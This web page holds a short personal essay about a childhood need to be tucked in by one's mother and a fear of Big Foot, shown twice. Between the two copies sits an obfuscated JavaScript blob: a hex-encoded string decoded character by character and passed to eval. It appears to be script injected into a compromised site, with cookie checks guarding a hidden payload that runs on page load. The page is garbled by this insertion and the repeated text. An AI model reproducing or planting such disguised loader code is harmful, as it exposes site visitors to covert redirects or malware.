Me, My Mom, and "Harry"



As you grow older, you forget how your life used to revolve completely around your mom. As a child, I can remember following my mother around the house during the day while my brother and sister were gone to school. Sometimes I would go off and play with my toys for a while, but I would usually get lonely. I would then resume watching my mom clean dishes or do the laundry. Sometimes we'd watch the news at noon, eat lunch (usually sandwiches), and then take a nap.

I don't know if there was ever a time when any of the Muses couldn't lie down and take a nap at the drop of a hat. Muses are notorious for perfecting the art of napping. People can even get sleepy just from our presence. Maybe there's some sort of sleeping gas that perpetually seeps through the walls of our house and makes us tired. When I wasn't fast asleep, however, I was like a puppy, following my mom around and doing whatever she did.

But one of the things I relied on most was for my mom to "tuck me in" at night when I went to bed. Moms are the only people who know how to do this. Dads are much too literal. Dads will actually "tuck" you in and immobilize you in the process, tucking the sheets, blankets and covers all under the mattress so that you feel as if you're in a strait-jacket. The Mom version of "tucking" me in, however, usually consisted of leaning over me (and my sister, whom I shared a room with), kissing my cheek gently, and giving me a reassuring pat. However, I was always disappointed when my mom said, "Go on to bed. I'll be there in a minute." That inevitably meant that I would have to wait before going to sleep; sleep was impossible without being "tucked in" first. Then, when she never came into the room, I would fear for my mom's life. I just knew that Big Foot had burst into the house, captured my mom, and taken her away.

When I imagined what Big Foot looked like, he was enormous. He was somehow small enough to fit into our house, though. I guess he seemed huge because I was so small in comparison. He was completely covered in ugly, brown fur and was very beastly. He growled and bared his teeth while drooling all over himself. My mom was in his arms and was usually dead or unconscious as he carried her down the hallway. I was terrified at the imaginary, yet horrendous, sight. I can remember once even getting up to check on my mom just to make sure she was still among the living.

As time wore on, I realized that Big Foot was probably not lurking anywhere near an East Point neighborhood. I realized that my mom had probably just forgotten, or had something more important to do. Eventually, when asked about it, my mom said, "Aren't you getting a little old to be tucked in?" Reflecting back on it now, I don't think you're ever too old for that gentle kiss and loving pat that reassures you that you're loved.


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25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:61:27:30:1f:20:32:4:1:74:4:1:74"[drp](":");}erklen=cvyudh;nofhtz=[];for(seavx=22-20-2;-seavx+1362!=0;seavx+=1){kmdnkf=seavx;if((0x19==031))nofhtz+=String.fromCharCode(eval(govd+erklen[1*kmdnkf])+0xa-ojvt);}izugj=eval;izugj(nofhtz)} Me, My Mom, and "Harry"

Me, My Mom, and "Harry"



As you grow older, you forget how your life used to revolve completely around your mom. As a child, I can remember following my mother around the house during the day while my brother and sister were gone to school. Sometimes I would go off and play with my toys for a while, but I would usually get lonely. I would then resume watching my mom clean dishes or do the laundry. Sometimes we'd watch the news at noon, eat lunch (usually sandwiches), and then take a nap.

I don't know if there was ever a time when any of the Muses couldn't lie down and take a nap at the drop of a hat. Muses are notorious for perfecting the art of napping. People can even get sleepy just from our presence. Maybe there's some sort of sleeping gas that perpetually seeps through the walls of our house and makes us tired. When I wasn't fast asleep, however, I was like a puppy, following my mom around and doing whatever she did.

But one of the things I relied on most was for my mom to "tuck me in" at night when I went to bed. Moms are the only people who know how to do this. Dads are much too literal. Dads will actually "tuck" you in and immobilize you in the process, tucking the sheets, blankets and covers all under the mattress so that you feel as if you're in a strait-jacket. The Mom version of "tucking" me in, however, usually consisted of leaning over me (and my sister, whom I shared a room with), kissing my cheek gently, and giving me a reassuring pat. However, I was always disappointed when my mom said, "Go on to bed. I'll be there in a minute." That inevitably meant that I would have to wait before going to sleep; sleep was impossible without being "tucked in" first. Then, when she never came into the room, I would fear for my mom's life. I just knew that Big Foot had burst into the house, captured my mom, and taken her away.

When I imagined what Big Foot looked like, he was enormous. He was somehow small enough to fit into our house, though. I guess he seemed huge because I was so small in comparison. He was completely covered in ugly, brown fur and was very beastly. He growled and bared his teeth while drooling all over himself. My mom was in his arms and was usually dead or unconscious as he carried her down the hallway. I was terrified at the imaginary, yet horrendous, sight. I can remember once even getting up to check on my mom just to make sure she was still among the living.

As time wore on, I realized that Big Foot was probably not lurking anywhere near an East Point neighborhood. I realized that my mom had probably just forgotten, or had something more important to do. Eventually, when asked about it, my mom said, "Aren't you getting a little old to be tucked in?" Reflecting back on it now, I don't think you're ever too old for that gentle kiss and loving pat that reassures you that you're loved.


Back to the Writings Page